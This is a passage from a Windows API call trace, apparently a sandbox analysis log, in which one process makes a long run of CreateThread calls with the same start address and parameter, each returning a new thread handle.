lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1730) returned 0xa68 [0117.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1738) returned 0xa6c [0117.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x173c) returned 0xa70 [0117.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1740) returned 0xa74 [0117.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1744) returned 0xa78 [0117.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1748) returned 0xa7c [0117.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x174c) returned 0xa80 [0117.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1750) returned 0xa84 [0117.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1754) returned 0xa88 [0117.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1758) returned 0xa8c [0117.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x175c) returned 0xa90 [0117.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1760) returned 0xa94 [0117.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1764) returned 0xa98 [0117.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1768) returned 0xa9c [0117.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x176c) returned 0xaa0 [0117.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1770) returned 0xaa4 [0117.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1774) returned 0xaa8 [0117.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1778) returned 0xaac [0117.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x177c) returned 0xab0 [0117.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1780) returned 0xab4 [0117.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1784) returned 0xab8 [0117.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1788) returned 0xabc [0117.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x178c) returned 0xac0 [0117.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1790) returned 0xac4 [0117.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1794) returned 0xac8 [0117.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1798) returned 0xacc [0117.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x179c) returned 0xad0 [0117.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17a0) returned 0xad4 [0117.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17a4) returned 0xad8 [0117.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17a8) returned 0xadc [0117.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17ac) returned 0xae0 [0117.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17b0) returned 0xae4 [0117.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17b4) returned 0xae8 [0117.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17b8) returned 0xaec [0117.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17bc) returned 0xaf0 [0117.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17c0) returned 0xaf4 [0117.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17c4) returned 0xaf8 [0117.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17c8) returned 0xafc [0117.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17cc) returned 0xb00 [0117.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17d0) returned 0xb04 [0117.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17d4) returned 0xb08 [0117.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17d8) returned 0xb0c [0117.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17dc) returned 0xb10 [0117.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17e0) returned 0xb14 [0117.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17e4) returned 0xb18 [0117.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17e8) returned 0xb1c [0117.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17ec) returned 0xb20 [0117.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17f0) returned 0xb24 [0117.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17f4) returned 0xb28 [0117.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17f8) returned 0xb2c [0117.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x17fc) returned 0xb30 [0117.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x714) returned 0xb34 [0117.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1420) returned 0xb38 [0117.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1488) returned 0xb3c [0117.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x48c) returned 0xb40 [0117.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0xe88) returned 0xb44 [0117.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x6dc) returned 0xb48 [0117.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1480) returned 0xb4c [0117.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x148c) returned 0xb50 [0117.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1538) returned 0xb54 [0117.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1540) returned 0xb58 [0117.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1544) returned 0xb5c [0117.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x154c) returned 0xb60 [0117.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1550) returned 0xb64 [0117.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x754) returned 0xb68 [0117.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1804) returned 0xb6c [0117.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1808) returned 0xb70 [0117.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x180c) returned 0xb74 [0117.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1810) returned 0xb78 [0117.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1814) returned 0xb7c [0117.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1818) returned 0xb80 [0117.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x181c) returned 0xb84 [0117.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1820) returned 0xb88 [0117.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1824) returned 0xb8c [0117.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1828) returned 0xb90 [0117.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x182c) returned 0xb94 [0117.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1830) returned 0xb98 [0117.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1834) returned 0xb9c [0117.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1838) returned 0xba0 [0117.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x183c) returned 0xba4 [0117.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1840) returned 0xba8 [0118.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x184c) returned 0xbac [0118.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1850) returned 0xbb0 [0118.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1854) returned 0xbb4 [0118.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1858) returned 0xbb8 [0118.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x185c) returned 0xbbc [0118.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1860) returned 0xbc0 [0118.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1864) returned 0xbc4 [0118.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1868) returned 0xbc8 [0118.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x186c) returned 0xbcc [0118.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1870) returned 0xbd0 [0118.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1874) returned 0xbd4 [0118.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1878) returned 0xbd8 [0118.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x187c) returned 0xbdc [0118.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1880) returned 0xbe0 [0118.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1884) returned 0xbe4 [0118.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1888) returned 0xbe8 [0118.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x188c) returned 0xbec [0118.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1890) returned 0xbf0 [0118.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1894) returned 0xbf4 [0118.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1898) returned 0xbf8 [0118.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x189c) returned 0xbfc [0118.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18a0) returned 0xc04 [0118.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18a4) returned 0xc08 [0118.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18a8) returned 0xc0c [0118.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18ac) returned 0xc10 [0118.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18b0) returned 0xc14 [0118.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18b4) returned 0xc18 [0118.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18b8) returned 0xc1c [0118.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18bc) returned 0xc20 [0118.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18c0) returned 0xc24 [0118.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18c4) returned 0xc28 [0118.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18c8) returned 0xc2c [0118.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18cc) returned 0xc30 [0118.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18d0) returned 0xc34 [0118.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18d4) returned 0xc38 [0118.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18d8) returned 0xc3c [0118.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18dc) returned 0xc40 [0118.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18e0) returned 0xc44 [0118.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x18e4) returned 0xc48 [0118.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: 